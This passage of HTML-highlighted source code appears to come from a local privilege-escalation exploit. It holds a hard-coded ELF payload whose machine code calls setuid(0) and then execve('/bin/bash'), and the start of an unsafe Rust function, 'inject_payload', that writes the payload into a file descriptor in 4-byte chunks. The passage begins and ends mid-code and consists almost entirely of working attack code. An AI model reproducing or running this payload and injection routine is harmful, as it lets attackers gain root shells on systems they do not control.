class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>78</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>40</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> </span></span><span class="z-source z-python"><span class="z-meta z-sequence z-list z-python"> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>40</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> </span></span><span class="z-source z-python"><span class="z-meta z-sequence z-list z-python"> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>40</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>38</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>01</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> </span></span><span class="z-source z-python"><span class="z-meta z-sequence z-list z-python"> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>01</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>05</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> </span></span><span class="z-source z-python"><span class="z-meta z-sequence z-list z-python"> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>40</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>40</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> </span></span><span class="z-source z-python"><span class="z-meta z-sequence z-list z-python"> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>9e</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>9e</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> </span></span><span class="z-source z-python"><span class="z-meta z-sequence z-list z-python"> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>10</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>31</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>c0</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>31</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>ff</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>b0</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>69</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>0f</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>05</span><span class="z-punctuation z-separator z-sequence z-python">,</span> </span></span><span class="z-source z-python"><span class="z-meta z-sequence z-list z-python"> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>48</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>8d</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>3d</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>0f</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>31</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>f6</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>6a</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>3b</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>58</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>99</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>0f</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>05</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>31</span><span class="z-punctuation z-separator z-sequence z-python">,</span> </span></span><span class="z-source z-python"><span class="z-meta z-sequence z-list z-python"> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>ff</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>6a</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>3c</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>58</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>0f</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>05</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>2f</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>62</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>69</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>6e</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>2f</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>62</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>61</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>73</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>68</span><span class="z-punctuation z-separator z-sequence z-python">,</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-python"><span class="z-punctuation z-definition z-numeric z-base z-python">0x</span>00</span> </span></span><span class="z-source z-python"><span class="z-meta z-sequence z-list z-python"><span class="z-punctuation z-section z-sequence z-end z-python">]</span></span><span class="z-punctuation z-terminator z-statement z-python">;</span> </span><span class="z-source z-python"> </span><span class="z-source z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">unsafe</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">fn</span></span> <span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">inject_payload</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">fd</span></span>: <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">i32</span></span><span class="z-punctuation z-separator z-arguments z-python">,</span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">payload</span></span>: <span class="z-keyword z-operator z-arithmetic z-python">&amp;</span><span class="z-meta z-sequence z-list z-python"><span class="z-punctuation z-section z-sequence z-begin z-python">[</span><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">u8</span></span><span class="z-punctuation z-section z-sequence z-end z-python">]</span></span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> <span class="z-meta z-mapping-or-set z-python"><span class="z-punctuation z-section z-mapping-or-set z-begin z-python">{</span> </span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"> <span class="z-meta z-expression z-generator z-python"><span class="z-keyword z-control z-loop z-for z-generator z-python">for</span> <span class="z-meta z-generic-name z-python">i</span> <span class="z-keyword z-control z-loop z-for z-in z-python">in</span></span> <span class="z-meta z-group z-python"><span class="z-punctuation z-section z-group z-begin z-python">(</span><span class="z-constant z-numeric z-float z-decimal z-python">0<span class="z-punctuation z-separator z-decimal z-python">.</span></span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span><span class="z-meta z-generic-name z-python">payload</span></span><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">len</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span><span class="z-punctuation z-section z-group z-end z-python">)</span></span><span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-punctuation z-accessor z-dot z-python">.</span></span><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-meta z-generic-name z-python">step_by</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-constant z-numeric z-integer z-decimal z-python">4</span><span class="z-punctuation z-section z-arguments z-end z-python">)</span></span> <span class="z-meta z-mapping-or-set z-python"><span class="z-punctuation z-section z-mapping-or-set z-begin z-python">{</span> </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping-or-set z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">let</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">mut</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">chunk</span></span> = <span class="z-meta z-sequence z-list z-python"><span class="z-punctuation z-section z-sequence z-begin z-python">[</span>0u8; <span class="z-constant z-numeric z-integer z-decimal z-python">4</span><span class="z-punctuation z-section z-sequence z-end z-python">]</span></span>; </span></span></span><span class="z-source z-python"><span class="z-meta z-mapping-or-set z-python"><span class="z-meta z-mapping-or-set z-python"> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">let</span></span> <span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">end</span></span> =</span><span class="z-meta z-mapping z-python"> </span><span class="z-meta z-mapping z-key z-python"><span class="z-meta z-qualified-name z-python"><span class="z-meta z-generic-name z-python">std</span></span></span><span class="z-meta z-mapping z-python"><span class="z-punctuation z-separator z-mapping z-key-value z-python">:</span></span><span class="z-meta z-mapping z-value z-python">:<span class="z-meta z-qualified-name z-python"><span class="z-support z-function z-builtin z-python">cmp</span></span>::<span class="z-meta z-function-call z-python"><span class="z-meta z-qualified-name z-python"><span class="z-variable z-function z-python"><span class="z-support z-function z-builtin z-python">min</span></span></span></span><span class="z-meta z-function-call z-arguments z-python"><span class="z-punctuation z-section z-arguments z-begin z-python">(</span><span class="z-meta z-qualified-name z-python"><span 